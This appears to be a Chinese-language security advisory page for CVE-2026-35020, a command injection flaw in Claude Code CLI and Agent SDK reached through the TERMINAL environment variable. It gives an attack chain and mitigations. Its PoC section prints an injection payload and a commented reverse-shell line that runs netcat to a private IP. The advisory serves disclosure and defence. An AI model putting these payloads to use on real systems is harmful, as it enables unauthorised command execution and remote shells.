IPBUF安全漏洞报告
English
CVE-2026-35020 CVSS 8.4 高危

CVE-2026-35020 Claude代码CLI命令注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35020
漏洞类型
操作系统命令注入
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Anthropic Claude Code CLI, Anthropic Claude Agent SDK

相关标签

OS Command InjectionRCECVE-2026-35020AnthropicClaudeEnvironment VariableLocal Attack

漏洞概述

Anthropic Claude Code CLI 和 Claude Agent SDK 中存在严重的操作系统命令注入漏洞。该漏洞位于命令查找辅助工具和深度链接终端启动器中,允许本地攻击者通过操纵 `TERMINAL` 环境变量来执行任意命令。由于程序在构造和执行 shell 命令时启用了 `shell=true`,攻击者注入的 shell 元字符会被 `/bin/sh` 解释器执行。此漏洞不仅可以在正常的 CLI 执行过程中被触发,还可以通过深度链接处理程序路径触发,最终导致攻击者获得运行 CLI 的用户权限,执行任意系统命令,对系统的机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的根本原因是应用程序对环境变量的处理缺乏安全校验。当 Claude Code CLI 或 Agent SDK 尝试启动终端时,它会读取系统中的 `TERMINAL` 环境变量,并将其直接拼接到待执行的 shell 命令字符串中。由于代码逻辑使用了 `shell=true` 来执行命令,底层调用了 `/bin/sh -c`,这导致拼接后的字符串会被 Shell 解析器进行语法分析。

攻击者可以将 `TERMINAL` 变量设置为包含恶意 Shell 元字符(如 `;`, `&&`, `` ` ``, `$()` 等)的值。例如,将变量设置为 `gnome-terminal; malicious_command; #`。当程序执行时,Shell 会先执行终端启动命令,随后执行分号后的恶意命令。由于攻击向量为本地(AV:L)且无需权限(PR:N),任何能够修改环境变量的本地上下文(包括恶意软件或低权限用户)均可利用此漏洞提权或执行破坏性操作。

攻击链分析

STEP 1
步骤1:环境变量篡改
攻击者修改目标系统中的 'TERMINAL' 环境变量,注入包含 shell 元字符(如分号或反引号)的恶意载荷。
STEP 2
步骤2:触发漏洞
受害者或系统服务尝试运行 Anthropic Claude Code CLI 或通过深度链接调用 Agent SDK。
STEP 3
步骤3:命令构造与解析
应用程序读取被篡改的 'TERMINAL' 变量,并将其拼接到命令字符串中。随后,程序调用 /bin/sh 并启用 shell 解释功能来执行该命令。
STEP 4
步骤4:任意代码执行
Shell 解析器处理注入的元字符,导致在启动终端的同时,以当前用户的权限执行了攻击者预设的任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Exploit: OS Command Injection via TERMINAL environment variable # Description: Set the TERMINAL env var to inject shell metacharacters. # Step 1: Define the malicious payload. This example creates a file 'pwned' in /tmp. # The ';' character separates commands in shell. export TERMINAL="gnome-terminal; touch /tmp/pwned; #" # Step 2: Trigger the vulnerability by executing the Claude Code CLI or Agent SDK. # The application will read 'TERMINAL' and execute a command similar to: # /bin/sh -c "gnome-terminal; touch /tmp/pwned; # ...args" # Result: The file /tmp/pwned is created. # Alternative Payload: Reverse Shell # export TERMINAL="xterm; nc -e /bin/sh 192.168.1.100 4444; #"

影响范围

Anthropic Claude Code CLI (特定修复版本前)
Anthropic Claude Agent SDK (特定修复版本前)

防御指南

临时缓解措施
在官方补丁发布或应用前,建议用户严格监控系统环境变量的变更,特别是 `TERMINAL` 变量。尽量避免在不可信的环境或由非受控用户启动的进程中运行 Claude Code CLI。此外,可以使用系统级安全工具(如 AppArmor 或 SELinux)限制 CLI 进程的子进程执行权限,从而阻断命令注入后的利用效果。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表